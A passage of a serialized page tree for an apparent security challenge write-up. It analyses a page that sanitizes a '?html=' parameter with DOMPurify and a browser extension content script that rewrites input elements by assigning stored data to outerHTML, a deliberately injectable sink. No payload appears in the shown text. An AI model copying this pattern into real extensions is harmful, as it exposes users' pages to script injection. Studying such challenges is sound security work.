content",{"type":32,"tag":83,"props":3604,"children":3605},{"style":102},[3606],{"type":37,"value":688},{"type":32,"tag":83,"props":3608,"children":3609},{"style":96},[3610],{"type":37,"value":3226},{"type":32,"tag":83,"props":3612,"children":3613},{"class":85,"line":284},[3614,3618,3622,3626,3630,3634,3639,3643],{"type":32,"tag":83,"props":3615,"children":3616},{"style":96},[3617],{"type":37,"value":3538},{"type":32,"tag":83,"props":3619,"children":3620},{"style":1664},[3621],{"type":37,"value":3543},{"type":32,"tag":83,"props":3623,"children":3624},{"style":1627},[3625],{"type":37,"value":3548},{"type":32,"tag":83,"props":3627,"children":3628},{"style":96},[3629],{"type":37,"value":3248},{"type":32,"tag":83,"props":3631,"children":3632},{"style":102},[3633],{"type":37,"value":688},{"type":32,"tag":83,"props":3635,"children":3636},{"style":108},[3637],{"type":37,"value":3638},"submit",{"type":32,"tag":83,"props":3640,"children":3641},{"style":102},[3642],{"type":37,"value":688},{"type":32,"tag":83,"props":3644,"children":3645},{"style":96},[3646],{"type":37,"value":3226},{"type":32,"tag":83,"props":3648,"children":3649},{"class":85,"line":297},[3650,3655,3659],{"type":32,"tag":83,"props":3651,"children":3652},{"style":96},[3653],{"type":37,"value":3654},"    \u003C/",{"type":32,"tag":83,"props":3656,"children":3657},{"style":1664},[3658],{"type":37,"value":3504},{"type":32,"tag":83,"props":3660,"children":3661},{"style":96},[3662],{"type":37,"value":3226},{"type":32,"tag":83,"props":3664,"children":3665},{"class":85,"line":310},[3666],{"type":32,"tag":83,"props":3667,"children":3668},{"emptyLinePlaceholder":123},[3669],{"type":37,"value":126},{"type":32,"tag":83,"props":3671,"children":3672},{"class":85,"line":323},[3673,3677,3682,3687,3691,3695,3700,3704,3709,3713],{"type":32,"tag":83,"props":3674,"children":3675},{"style":96},[3676],{"type":37,"value":3296},{"type":32,"tag":83,"props":3678,"children":3679},{"style":1664},[3680],{"type":37,"value":3681},"div",{"type":32,"tag":83,"props":3683,"children":3684},{"style":1627},[3685],{"type":37,"value":3686}," class",{"type":32,"tag":83,"props":3688,"children":3689},{"style":96},[3690],{"type":37,"value":3248},{"type":32,"tag":83,"props":3692,"children":3693},{"style":102},[3694],{"type":37,"value":688},{"type":32,"tag":83,"props":3696,"children":3697},{"style":108},[3698],{"type":37,"value":3699},"output",{"type":32,"tag":83,"props":3701,"children":3702},{"style":102},[3703],{"type":37,"value":688},{"type":32,"tag":83,"props":3705,"children":3706},{"style":96},[3707],{"type":37,"value":3708},">\u003C/",{"type":32,"tag":83,"props":3710,"children":3711},{"style":1664},[3712],{"type":37,"value":3681},{"type":32,"tag":83,"props":3714,"children":3715},{"style":96},[3716],{"type":37,"value":3226},{"type":32,"tag":83,"props":3718,"children":3719},{"class":85,"line":340},[3720,3724,3729,3734,3738,3742,3747,3751,3755,3759],{"type":32,"tag":83,"props":3721,"children":3722},{"style":96},[3723],{"type":37,"value":3296},{"type":32,"tag":83,"props":3725,"children":3726},{"style":1664},[3727],{"type":37,"value":3728},"script",{"type":32,"tag":83,"props":3730,"children":3731},{"style":1627},[3732],{"type":37,"value":3733}," src",{"type":32,"tag":83,"props":3735,"children":3736},{"style":96},[3737],{"type":37,"value":3248},{"type":32,"tag":83,"props":3739,"children":3740},{"style":102},[3741],{"type":37,"value":688},{"type":32,"tag":83,"props":3743,"children":3744},{"style":108},[3745],{"type":37,"value":3746},"https://unpkg.com/dompurify@latest/dist/purify.min.js",{"type":32,"tag":83,"props":3748,"children":3749},{"style":102},[3750],{"type":37,"value":688},{"type":32,"tag":83,"props":3752,"children":3753},{"style":96},[3754],{"type":37,"value":3708},{"type":32,"tag":83,"props":3756,"children":3757},{"style":1664},[3758],{"type":37,"value":3728},{"type":32,"tag":83,"props":3760,"children":3761},{"style":96},[3762],{"type":37,"value":3226},{"type":32,"tag":83,"props":3764,"children":3765},{"class":85,"line":356},[3766,3770,3774],{"type":32,"tag":83,"props":3767,"children":3768},{"style":96},[3769],{"type":37,"value":3296},{"type":32,"tag":83,"props":3771,"children":3772},{"style":1664},[3773],{"type":37,"value":3728},{"type":32,"tag":83,"props":3775,"children":3776},{"style":96},[3777],{"type":37,"value":3226},{"type":32,"tag":83,"props":3779,"children":3780},{"class":85,"line":369},[3781,3786,3791,3795,3799,3803,3807,3812,3816,3821],{"type":32,"tag":83,"props":3782,"children":3783},{"style":1610},[3784],{"type":37,"value":3785},"        const",{"type":32,"tag":83,"props":3787,"children":3788},{"style":1627},[3789],{"type":37,"value":3790}," url",{"type":32,"tag":83,"props":3792,"children":3793},{"style":96},[3794],{"type":37,"value":1722},{"type":32,"tag":83,"props":3796,"children":3797},{"style":1610},[3798],{"type":37,"value":1672},{"type":32,"tag":83,"props":3800,"children":3801},{"style":1616},[3802],{"type":37,"value":2526},{"type":32,"tag":83,"props":3804,"children":3805},{"style":96},[3806],{"type":37,"value":1624},{"type":32,"tag":83,"props":3808,"children":3809},{"style":1627},[3810],{"type":37,"value":3811},"location",{"type":32,"tag":83,"props":3813,"children":3814},{"style":96},[3815],{"type":37,"value":627},{"type":32,"tag":83,"props":3817,"children":3818},{"style":1627},[3819],{"type":37,"value":3820},"href",{"type":32,"tag":83,"props":3822,"children":3823},{"style":96},[3824],{"type":37,"value":1812},{"type":32,"tag":83,"props":3826,"children":3827},{"class":85,"line":387},[3828,3832,3836,3840,3844,3848,3853,3857,3861,3865,3869,3873,3877],{"type":32,"tag":83,"props":3829,"children":3830},{"style":1610},[3831],{"type":37,"value":3785},{"type":32,"tag":83,"props":3833,"children":3834},{"style":1627},[3835],{"type":37,"value":3221},{"type":32,"tag":83,"props":3837,"children":3838},{"style":96},[3839],{"type":37,"value":1722},{"type":32,"tag":83,"props":3841,"children":3842},{"style":1627},[3843],{"type":37,"value":3790},{"type":32,"tag":83,"props":3845,"children":3846},{"style":96},[3847],{"type":37,"value":627},{"type":32,"tag":83,"props":3849,"children":3850},{"style":1627},[3851],{"type":37,"value":3852},"searchParams",{"type":32,"tag":83,"props":3854,"children":3855},{"style":96},[3856],{"type":37,"value":627},{"type":32,"tag":83,"props":3858,"children":3859},{"style":1616},[3860],{"type":37,"value":2147},{"type":32,"tag":83,"props":3862,"children":3863},{"style":96},[3864],{"type":37,"value":1624},{"type":32,"tag":83,"props":3866,"children":3867},{"style":102},[3868],{"type":37,"value":1544},{"type":32,"tag":83,"props":3870,"children":3871},{"style":108},[3872],{"type":37,"value":3194},{"type":32,"tag":83,"props":3874,"children":3875},{"style":102},[3876],{"type":37,"value":1544},{"type":32,"tag":83,"props":3878,"children":3879},{"style":96},[3880],{"type":37,"value":1812},{"type":32,"tag":83,"props":3882,"children":3883},{"class":85,"line":405},[3884,3889,3893,3897,3901],{"type":32,"tag":83,"props":3885,"children":3886},{"style":1664},[3887],{"type":37,"value":3888},"        if",{"type":32,"tag":83,"props":3890,"children":3891},{"style":96},[3892],{"type":37,"value":2187},{"type":32,"tag":83,"props":3894,"children":3895},{"style":1627},[3896],{"type":37,"value":3194},{"type":32,"tag":83,"props":3898,"children":3899},{"style":96},[3900],{"type":37,"value":1654},{"type":32,"tag":83,"props":3902,"children":3903},{"style":96},[3904],{"type":37,"value":875},{"type":32,"tag":83,"props":3906,"children":3907},{"class":85,"line":423},[3908,3913,3917,3922,3926,3930,3935,3939,3943,3948,3952,3957,3961,3966,3970,3974],{"type":32,"tag":83,"props":3909,"children":3910},{"style":1627},[3911],{"type":37,"value":3912},"            document",{"type":32,"tag":83,"props":3914,"children":3915},{"style":96},[3916],{"type":37,"value":627},{"type":32,"tag":83,"props":3918,"children":3919},{"style":1616},[3920],{"type":37,"value":3921},"querySelector",{"type":32,"tag":83,"props":3923,"children":3924},{"style":96},[3925],{"type":37,"value":1624},{"type":32,"tag":83,"props":3927,"children":3928},{"style":102},[3929],{"type":37,"value":1544},{"type":32,"tag":83,"props":3931,"children":3932},{"style":108},[3933],{"type":37,"value":3934},".output",{"type":32,"tag":83,"props":3936,"children":3937},{"style":102},[3938],{"type":37,"value":1544},{"type":32,"tag":83,"props":3940,"children":3941},{"style":96},[3942],{"type":37,"value":2584},{"type":32,"tag":83,"props":3944,"children":3945},{"style":1627},[3946],{"type":37,"value":3947},"innerHTML",{"type":32,"tag":83,"props":3949,"children":3950},{"style":96},[3951],{"type":37,"value":1722},{"type":32,"tag":83,"props":3953,"children":3954},{"style":1627},[3955],{"type":37,"value":3956}," DOMPurify",{"type":32,"tag":83,"props":3958,"children":3959},{"style":96},[3960],{"type":37,"value":627},{"type":32,"tag":83,"props":3962,"children":3963},{"style":1616},[3964],{"type":37,"value":3965},"sanitize",{"type":32,"tag":83,"props":3967,"children":3968},{"style":96},[3969],{"type":37,"value":1624},{"type":32,"tag":83,"props":3971,"children":3972},{"style":1627},[3973],{"type":37,"value":3194},{"type":32,"tag":83,"props":3975,"children":3976},{"style":96},[3977],{"type":37,"value":1812},{"type":32,"tag":83,"props":3979,"children":3980},{"class":85,"line":441},[3981],{"type":32,"tag":83,"props":3982,"children":3983},{"style":96},[3984],{"type":37,"value":3985},"        }\n",{"type":32,"tag":83,"props":3987,"children":3988},{"class":85,"line":460},[3989,3993,3997],{"type":32,"tag":83,"props":3990,"children":3991},{"style":96},[3992],{"type":37,"value":3654},{"type":32,"tag":83,"props":3994,"children":3995},{"style":1664},[3996],{"type":37,"value":3728},{"type":32,"tag":83,"props":3998,"children":3999},{"style":96},[4000],{"type":37,"value":3226},{"type":32,"tag":83,"props":4002,"children":4003},{"class":85,"line":478},[4004,4008,4012],{"type":32,"tag":83,"props":4005,"children":4006},{"style":96},[4007],{"type":37,"value":3414},{"type":32,"tag":83,"props":4009,"children":4010},{"style":1664},[4011],{"type":37,"value":3456},{"type":32,"tag":83,"props":4013,"children":4014},{"style":96},[4015],{"type":37,"value":3226},{"type":32,"tag":83,"props":4017,"children":4018},{"class":85,"line":496},[4019],{"type":32,"tag":83,"props":4020,"children":4021},{"emptyLinePlaceholder":123},[4022],{"type":37,"value":126},{"type":32,"tag":83,"props":4024,"children":4025},{"class":85,"line":514},[4026,4030,4034],{"type":32,"tag":83,"props":4027,"children":4028},{"style":96},[4029],{"type":37,"value":3414},{"type":32,"tag":83,"props":4031,"children":4032},{"style":1664},[4033],{"type":37,"value":3194},{"type":32,"tag":83,"props":4035,"children":4036},{"style":96},[4037],{"type":37,"value":3226},{"type":32,"tag":46,"props":4039,"children":4040},{},[4041],{"type":37,"value":4042},"In detail, we can see in the code that the page takes the query parameter ?html= to update the div below the form. It sanitizes with the latest version of DOMPurify and adds the content via innerHTML.",{"type":32,"tag":3176,"props":4044,"children":4046},{"id":4045},"web-extension",[4047],{"type":37,"value":4048},"Web extension:",{"type":32,"tag":634,"props":4050,"children":4052},{"id":4051},"contentscript",[4053],{"type":37,"value":4054},"ContentScript:",{"type":32,"tag":46,"props":4056,"children":4057},{},[4058,4060,4066,4068,4074],{"type":37,"value":4059},"The first part of the contentScript contain two main functions, ",{"type":32,"tag":79,"props":4061,"children":4063},{"className":4062},[],[4064],{"type":37,"value":4065},"loads()",{"type":37,"value":4067}," and ",{"type":32,"tag":79,"props":4069,"children":4071},{"className":4070},[],[4072],{"type":37,"value":4073},"saves()",{"type":37,"value":99},{"type":32,"tag":68,"props":4076,"children":4077},{"lang":1393},[4078],{"type":32,"tag":73,"props":4079,"children":4081},{"className":1531,"code":4080,"language":1393,"meta":7,"style":7},"async function main() {\n  console.log('Content script is running');\n  await loads();\n  await saves();\n}\n\nmain();\n",[4082],{"type":32,"tag":79,"props":4083,"children":4084},{"__ignoreMap":7},[4085,4111,4148,4166,4182,4189,4196],{"type":32,"tag":83,"props":4086,"children":4087},{"class":85,"line":86},[4088,4092,4097,4102,4107],{"type":32,"tag":83,"props":4089,"children":4090},{"style":1610},[4091],{"type":37,"value":2488},{"type":32,"tag":83,"props":4093,"children":4094},{"style":1610},[4095],{"type":37,"value":4096}," function",{"type":32,"tag":83,"props":4098,"children":4099},{"style":1616},[4100],{"type":37,"value":4101}," main",{"type":32,"tag":83,"props":4103,"children":4104},{"style":96},[4105],{"type":37,"value":4106},"()",{"type":32,"tag":83,"props":4108,"children":4109},{"style":96},[4110],{"type":37,"value":875},{"type":32,"tag":83,"props":4112,"children":4113},{"class":85,"line":119},[4114,4119,4123,4127,4131,4135,4140,4144],{"type":32,"tag":83,"props":4115,"children":4116},{"style":1627},[4117],{"type":37,"value":4118},"  console",{"type":32,"tag":83,"props":4120,"children":4121},{"style":96},[4122],{"type":37,"value":627},{"type":32,"tag":83,"props":4124,"children":4125},{"style":1616},[4126],{"type":37,"value":1774},{"type":32,"tag":83,"props":4128,"children":4129},{"style":96},[4130],{"type":37,"value":1624},{"type":32,"tag":83,"props":4132,"children":4133},{"style":102},[4134],{"type":37,"value":1544},{"type":32,"tag":83,"props":4136,"children":4137},{"style":108},[4138],{"type":37,"value":4139},"Content script is running",{"type":32,"tag":83,"props":4141,"children":4142},{"style":102},[4143],{"type":37,"value":1544},{"type":32,"tag":83,"props":4145,"children":4146},{"style":96},[4147],{"type":37,"value":1812},{"type":32,"tag":83,"props":4149,"children":4150},{"class":85,"line":129},[4151,4156,4161],{"type":32,"tag":83,"props":4152,"children":4153},{"style":1664},[4154],{"type":37,"value":4155},"  await",{"type":32,"tag":83,"props":4157,"children":4158},{"style":1616},[4159],{"type":37,"value":4160}," loads",{"type":32,"tag":83,"props":4162,"children":4163},{"style":96},[4164],{"type":37,"value":4165},"();\n",{"type":32,"tag":83,"props":4167,"children":4168},{"class":85,"line":143},[4169,4173,4178],{"type":32,"tag":83,"props":4170,"children":4171},{"style":1664},[4172],{"type":37,"value":4155},{"type":32,"tag":83,"props":4174,"children":4175},{"style":1616},[4176],{"type":37,"value":4177}," saves",{"type":32,"tag":83,"props":4179,"children":4180},{"style":96},[4181],{"type":37,"value":4165},{"type":32,"tag":83,"props":4183,"children":4184},{"class":85,"line":156},[4185],{"type":32,"tag":83,"props":4186,"children":4187},{"style":96},[4188],{"type":37,"value":1453},{"type":32,"tag":83,"props":4190,"children":4191},{"class":85,"line":174},[4192],{"type":32,"tag":83,"props":4193,"children":4194},{"emptyLinePlaceholder":123},[4195],{"type":37,"value":126},{"type":32,"tag":83,"props":4197,"children":4198},{"class":85,"line":192},[4199,4204],{"type":32,"tag":83,"props":4200,"children":4201},{"style":1616},[4202],{"type":37,"value":4203},"main",{"type":32,"tag":83,"props":4205,"children":4206},{"style":96},[4207],{"type":37,"value":4165},{"type":32,"tag":46,"props":4209,"children":4210},{},[4211,4213,4218,4220,4226,4228,4234],{"type":37,"value":4212},"The ",{"type":32,"tag":79,"props":4214,"children":4216},{"className":4215},[],[4217],{"type":37,"value":4065},{"type":37,"value":4219}," function will allow loading the elements that are in the chrome storage via a key defined at save. When loading, each input will be recreated via the ",{"type":32,"tag":79,"props":4221,"children":4223},{"className":4222},[],[4224],{"type":37,"value":4225},"input()",{"type":37,"value":4227}," function and update the DOM by defining ",{"type":32,"tag":79,"props":4229,"children":4231},{"className":4230},[],[4232],{"type":37,"value":4233},"p.outerHTML",{"type":37,"value":627},{"type":32,"tag":68,"props":4236,"children":4237},{"lang":1393},[4238],{"type":32,"tag":73,"props":4239,"children":4241},{"className":1531,"code":4240,"language":1393,"meta":7,"style":7},"function load(key) {\n  return new Promise((resolve, reject) => {\n    chrome.runtime.sendMessage(\n      {\n        type: 'LOAD',\n        payload: { key },\n      },\n      response => {\n        if (response.error) {\n          return reject(response.error);\n        }\n        resolve(response);\n      }\n    );\n  })\n}\n\nasync function loads() {\n  var inputs = document.querySelectorAll('input');\n  for (const p of inputs) {\n    const key = p.name;\n    try {\n      var data = await load(key);\n      if (data) {\n        console.log(input(key, data, p.outerHTML))\n        p.outerHTML = input(key, data, p.outerHTML);\n      }\n    } catch (error) {\n      console.log('Error loading data', error);\n      continue;\n    }\n  }\n}\n",[4242],{"type":32,"tag":79,"props":4243,"children":4244},{"__ignoreMap":7},[4245,4272,4315,4344,4352,4380,4406,4414,4430,4461,4493,4500,4520,4527,4535,4542,4549,4556,4579,4630,4669,4700,4712,4749,4772,4833,4894,4901,4929,4973,4985,4992,5000],{"type":32,"tag":83,"props":4246,"children":4247},{"class":85,"line":86},[4248,4252,4256,4260,4264,4268],{"type":32,"tag":83,"props":4249,"children":4250},{"style":1610},[4251],{"type":37,"value":1613},{"type":32,"tag":83,"props":4253,"children":4254},{"style":1616},[4255],{"type":37,"value":1961},{"type":32,"tag":83,"props":4257,"children":4258},{"style":96},[4259],{"type":37,"value":1624},{"type":32,"tag":83,"props":4261,"children":4262},{"style":1627},[4263],{"type":37,"value":1630},{"type":32,"tag":83,"props":4265,"children":4266},{"style":96},[4267],{"type":37,"value":1654},{"type":32,"tag":83,"props":4269,"children":4270},{"style":96},[4271],{"type":37,"value":875},{"type":32,"tag":83,"props":4273,"children":4274},{"class":85,"line":119},[4275,4279,4283,4287,4291,4295,4299,4303,4307,4311],{"type":32,"tag":83,"props":4276,"children":4277},{"style":1664},[4278],{"type":37,"value":1667},{"type":32,"tag":83,"props":4280,"children":4281},{"style":1610},[4282],{"type":37,"value":1672},{"type":32,"tag":83,"props":4284,"children":4285},{"style":90},[4286],{"type":37,"value":1677},{"type":32,"tag":83,"props":4288,"children":4289},{"style":96},[4290],{"type":37,"value":1682},{"type":32,"tag":83,"props":4292,"children":4293},{"style":1627},[4294],{"type":37,"value":1687},{"type":32,"tag":83,"props":4296,"children":4297},{"style":96},[4298],{"type":37,"value":1635},{"type":32,"tag":83,"props":4300,"children":4301},{"style":1627},[4302],{"type":37,"value":1696},{"type":32,"tag":83,"props":4304,"children":4305},{"style":96},[4306],{"type":37,"value":1654},{"type":32,"tag":83,"props":4308,"children":4309},{"style":96},[4310],{"type":37,"value":1705},{"type":32,"tag":83,"props":4312,"children":4313},{"style":96},[4314],{"type":37,"value":875},{"type":32,"tag":83,"props":4316,"children":4317},{"class":85,"line":129},[4318,4322,4326,4330,4334,4339],{"type":32,"tag":83,"props":4319,"children":4320},{"style":1627},[4321],{"type":37,"value":1820},{"type":32,"tag":83,"props":4323,"children":4324},{"style":96},[4325],{"type":37,"value":627},{"type":32,"tag":83,"props":4327,"children":4328},{"style":1627},[4329],{"type":37,"value":2410},{"type":32,"tag":83,"props":4331,"children":4332},{"style":96},[4333],{"type":37,"value":627},{"type":32,"tag":83,"props":4335,"children":4336},{"style":1616},[4337],{"type":37,"value":4338},"sendMessage",{"type":32,"tag":83,"props":4340,"children":4341},{"style":96},[4342],{"type":37,"value":4343},"(\n",{"type":32,"tag":83,"props":4345,"children":4346},{"class":85,"line":143},[4347],{"type":32,"tag":83,"props":4348,"children":4349},{"style":96},[4350],{"type":37,"value":4351},"      {\n",{"type":32,"tag":83,"props":4353,"children":4354},{"class":85,"line":156},[4355,4360,4364,4368,4372,4376],{"type":32,"tag":83,"props":4356,"children":4357},{"style":90},[4358],{"type":37,"value":4359},"        type",{"type":32,"tag":83,"props":4361,"children":4362},{"style":96},[4363],{"type":37,"value":99},{"type":32,"tag":83,"props":4365,"children":4366},{"style":102},[4367],{"type":37,"value":105},{"type":32,"tag":83,"props":4369,"children":4370},{"style":108},[4371],{"type":37,"value":2941},{"type":32,"tag":83,"props":4373,"children":4374},{"style":102},[4375],{"type":37,"value":1544},{"type":32,"tag":83,"props":4377,"children":4378},{"style":96},[4379],{"type":37,"value":702},{"type":32,"tag":83,"props":4381,"children":4382},{"class":85,"line":174},[4383,4388,4392,4397,4401],{"type":32,"tag":83,"props":4384,"children":4385},{"style":90},[4386],{"type":37,"value":4387},"        payload",{"type":32,"tag":83,"props":4389,"children":4390},{"style":96},[4391],{"type":37,"value":99},{"type":32,"tag":83,"props":4393,"children":4394},{"style":96},[4395],{"type":37,"value":4396}," {",{"type":32,"tag":83,"props":4398,"children":4399},{"style":1627},[4400],{"type":37,"value":1727},{"type":32,"tag":83,"props":4402,"children":4403},{"style":96},[4404],{"type":37,"value":4405}," },\n",{"type":32,"tag":83,"props":4407,"children":4408},{"class":85,"line":192},[4409],{"type":32,"tag":83,"props":4410,"children":4411},{"style":96},[4412],{"type":37,"value":4413},"      },\n",{"type":32,"tag":83,"props":4415,"children":4416},{"class":85,"line":205},[4417,4422,4426],{"type":32,"tag":83,"props":4418,"children":4419},{"style":1627},[4420],{"type":37,"value":4421},"      response",{"type":32,"tag":83,"props":4423,"children":4424},{"style":96},[4425],{"type":37,"value":1705},{"type":32,"tag":83,"props":4427,"children":4428},{"style":96},[4429],{"type":37,"value":875},{"type":32,"tag":83,"props":4431,"children":4432},{"class":85,"line":219},[4433,4437,4441,4445,4449,4453,4457],{"type":32,"tag":83,"props":4434,"children":4435},{"style":1664},[4436],{"type":37,"value":3888},{"type":32,"tag":83,"props":4438,"children":4439},{"style":96},[4440],{"type":37,"value":2187},{"type":32,"tag":83,"props":4442,"children":4443},{"style":1627},[4444],{"type":37,"value":2828},{"type":32,"tag":83,"props":4446,"children":4447},{"style":96},[4448],{"type":37,"value":627},{"type":32,"tag":83,"props":4450,"children":4451},{"style":1627},[4452],{"type":37,"value":2871},{"type":32,"tag":83,"props":4454,"children":4455},{"style":96},[4456],{"type":37,"value":1654},{"type":32,"tag":83,"props":4458,"children":4459},{"style":96},[4460],{"type":37,"value":875},{"type":32,"tag":83,"props":4462,"children":4463},{"class":85,"line":232},[4464,4469,4473,4477,4481,4485,4489],{"type":32,"tag":83,"props":4465,"children":4466},{"style":1664},[4467],{"type":37,"value":4468},"          return",{"type":32,"tag":83,"props":4470,"children":4471},{"style":1616},[4472],{"type":37,"value":1696},{"type":32,"tag":83,"props":4474,"children":4475},{"style":96},[4476],{"type":37,"value":1624},{"type":32,"tag":83,"props":4478,"children":4479},{"style":1627},[4480],{"type":37,"value":2828},{"type":32,"tag":83,"props":4482,"children":4483},{"style":96},[4484],{"type":37,"value":627},{"type":32,"tag":83,"props":4486,"children":4487},{"style":1627},[4488],{"type":37,"value":2871},{"type":32,"tag":83,"props":4490,"children":4491},{"style":96},[4492],{"type":37,"value":1812},{"type":32,"tag":83,"props":4494,"children":4495},{"class":85,"line":245},[4496],{"type":32,"tag":83,"props":4497,"children":4498},{"style":96},[4499],{"type":37,"value":3985},{"type":32,"tag":83,"props":4501,"children":4502},{"class":85,"line":258},[4503,4508,4512,4516],{"type":32,"tag":83,"props":4504,"children":4505},{"style":1616},[4506],{"type":37,"value":4507},"        resolve",{"type":32,"tag":83,"props":4509,"children":4510},{"style":96},[4511],{"type":37,"value":1624},{"type":32,"tag":83,"props":4513,"children":4514},{"style":1627},[4515],{"type":37,"value":2828},{"type":32,"tag":83,"props":4517,"children":4518},{"style":96},[4519],{"type":37,"value":1812},{"type":32,"tag":83,"props":4521,"children":4522},{"class":85,"line":271},[4523],{"type":32,"tag":83,"props":4524,"children":4525},{"style":96},[4526],{"type":37,"value":2281},{"type":32,"tag":83,"props":4528,"children":4529},{"class":85,"line":284},[4530],{"type":32,"tag":83,"props":4531,"children":4532},{"style":96},[4533],{"type":37,"value":4534},"    );\n",{"type":32,"tag":83,"props":4536,"children":4537},{"class":85,"line":297},[4538],{"type":32,"tag":83,"props":4539,"children":4540},{"style":96},[4541],{"type":37,"value":1942},{"type":32,"tag":83,"props":4543,"children":4544},{"class":85,"line":310},[4545],{"type":32,"tag":83,"props":4546,"children":4547},{"style":96},[4548],{"type":37,"value":1453},{"type":32,"tag":83,"props":4550,"children":4551},{"class":85,"line":323},[4552],{"type":32,"tag":83,"props":4553,"children":4554},{"emptyLinePlaceholder":123},[4555],{"type":37,"value":126},{"type":32,"tag":83,"props":4557,"children":4558},{"class":85,"line":340},[4559,4563,4567,4571,4575],{"type":32,"tag":83,"props":4560,"children":4561},{"style":1610},[4562],{"type":37,"value":2488},{"type":32,"tag":83,"props":4564,"children":4565},{"style":1610},[4566],{"type":37,"value":4096},{"type":32,"tag":83,"props":4568,"children":4569},{"style":1616},[4570],{"type":37,"value":4160},{"type":32,"tag":83,"props":4572,"children":4573},{"style":96},[4574],{"type":37,"value":4106},{"type":32,"tag":83,"props":4576,"children":4577},{"style":96},[4578],{"type":37,"value":875},{"type":32,"tag":83,"props":4580,"children":4581},{"class":85,"line":356},[4582,4587,4592,4596,4601,4605,4610,4614,4618,4622,4626],{"type":32,"tag":83,"props":4583,"children":4584},{"style":1610},[4585],{"type":37,"value":4586},"  var",{"type":32,"tag":83,"props":4588,"children":4589},{"style":1627},[4590],{"type":37,"value":4591}," inputs",{"type":32,"tag":83,"props":4593,"children":4594},{"style":96},[4595],{"type":37,"value":1722},{"type":32,"tag":83,"props":4597,"children":4598},{"style":1627},[4599],{"type":37,"value":4600}," document",{"type":32,"tag":83,"props":4602,"children":4603},{"style":96},[4604],{"type":37,"value":627},{"type":32,"tag":83,"props":4606,"children":4607},{"style":1616},[4608],{"type":37,"value":4609},"querySelectorAll",{"type":32,"tag":83,"props":4611,"children":4612},{"style":96},[4613],{"type":37,"value":1624},{"type":32,"tag":83,"props":4615,"children":4616},{"style":102},[4617],{"type":37,"value":1544},{"type":32,"tag":83,"props":4619,"children":4620},{"style":108},[4621],{"type":37,"value":3543},{"type":32,"tag":83,"props":4623,"children":4624},{"style":102},[4625],{"type":37,"value":1544},{"type":32,"tag":83,"props":4627,"children":4628},{"style":96},[4629],{"type":37,"value":1812},{"type":32,"tag":83,"props":4631,"children":4632},{"class":85,"line":369},[4633,4638,4642,4647,4652,4657,4661,4665],{"type":32,"tag":83,"props":4634,"children":4635},{"style":1664},[4636],{"type":37,"value":4637},"  for",{"type":32,"tag":83,"props":4639,"children":4640},{"style":96},[4641],{"type":37,"value":2187},{"type":32,"tag":83,"props":4643,"children":4644},{"style":1610},[4645],{"type":37,"value":4646},"const",{"type":32,"tag":83,"props":4648,"children":4649},{"style":1627},[4650],{"type":37,"value":4651}," p",{"type":32,"tag":83,"props":4653,"children":4654},{"style":1610},[4655],{"type":37,"value":4656}," of",{"type":32,"tag":83,"props":4658,"children":4659},{"style":1627},[4660],{"type":37,"value":4591},{"type":32,"tag":83,"props":4662,"children":4663},{"style":96},[4664],{"type":37,"value":1654},{"type":32,"tag":83,"props":4666,"children":4667},{"style":96},[4668],{"type":37,"value":875},{"type":32,"tag":83,"props":4670,"children":4671},{"class":85,"line":387},[4672,4676,4680,4684,4688,4692,4696],{"type":32,"tag":83,"props":4673,"children":4674},{"style":1610},[4675],{"type":37,"value":2508},{"type":32,"tag":83,"props":4677,"children":4678},{"style":1627},[4679],{"type":37,"value":1727},{"type":32,"tag":83,"props":4681,"children":4682},{"style":96},[4683],{"type":37,"value":1722},{"type":32,"tag":83,"props":4685,"children":4686},{"style":1627},[4687],{"type":37,"value":4651},{"type":32,"tag":83,"props":4689,"children":4690},{"style":96},[4691],{"type":37,"value":627},{"type":32,"tag":83,"props":4693,"children":4694},{"style":1627},[4695],{"type":37,"value":714},{"type":32,"tag":83,"props":4697,"children":4698},{"style":96},[4699],{"type":37,"value":1558},{"type":32,"tag":83,"props":4701,"children":4702},{"class":85,"line":405},[4703,4708],{"type":32,"tag":83,"props":4704,"children":4705},{"style":1664},[4706],{"type":37,"value":4707},"    try",{"type":32,"tag":83,"props":4709,"children":4710},{"style":96},[4711],{"type":37,"value":875},{"type":32,"tag":83,"props":4713,"children":4714},{"class":85,"line":423},[4715,4720,4724,4728,4733,4737,4741,4745],{"type":32,"tag":83,"props":4716,"children":4717},{"style":1610},[4718],{"type":37,"value":4719},"      var",{"type":32,"tag":83,"props":4721,"children":4722},{"style":1627},[4723],{"type":37,"value":2166},{"type":32,"tag":83,"props":4725,"children":4726},{"style":96},[4727],{"type":37,"value":1722},{"type":32,"tag":83,"props":4729,"children":4730},{"style":1664},[4731],{"type":37,"value":4732}," await",{"type":32,"tag":83,"props":4734,"children":4735},{"style":1616},[4736],{"type":37,"value":1961},{"type":32,"tag":83,"props":4738,"children":4739},{"style":96},[4740],{"type":37,"value":1624},{"type":32,"tag":83,"props":4742,"children":4743},{"style":1627},[4744],{"type":37,"value":1630},{"type":32,"tag":83,"props":4746,"children":4747},{"style":96},[4748],{"type":37,"value":1812},{"type":32,"tag":83,"props":4750,"children":4751},{"class":85,"line":441},[4752,4756,4760,4764,4768],{"type":32,"tag":83,"props":4753,"children":4754},{"style":1664},[4755],{"type":37,"value":2182},{"type":32,"tag":83,"props":4757,"children":4758},{"style":96},[4759],{"type":37,"value":2187},{"type":32,"tag":83,"props":4761,"children":4762},{"style":1627},[4763],{"type":37,"value":2192},{"type":32,"tag":83,"props":4765,"children":4766},{"style":96},[4767],{"type":37,"value":1654},{"type":32,"tag":83,"props":4769,"children":4770},{"style":96},[4771],{"type":37,"value":875},{"type":32,"tag":83,"props":4773,"children":4774},{"class":85,"line":460},[4775,4780,4784,4788,4792,4796,4800,4804,4808,4812,4816,4820,4824,4829],{"type":32,"tag":83,"props":4776,"children":4777},{"style":1627},[4778],{"type":37,"value":4779},"        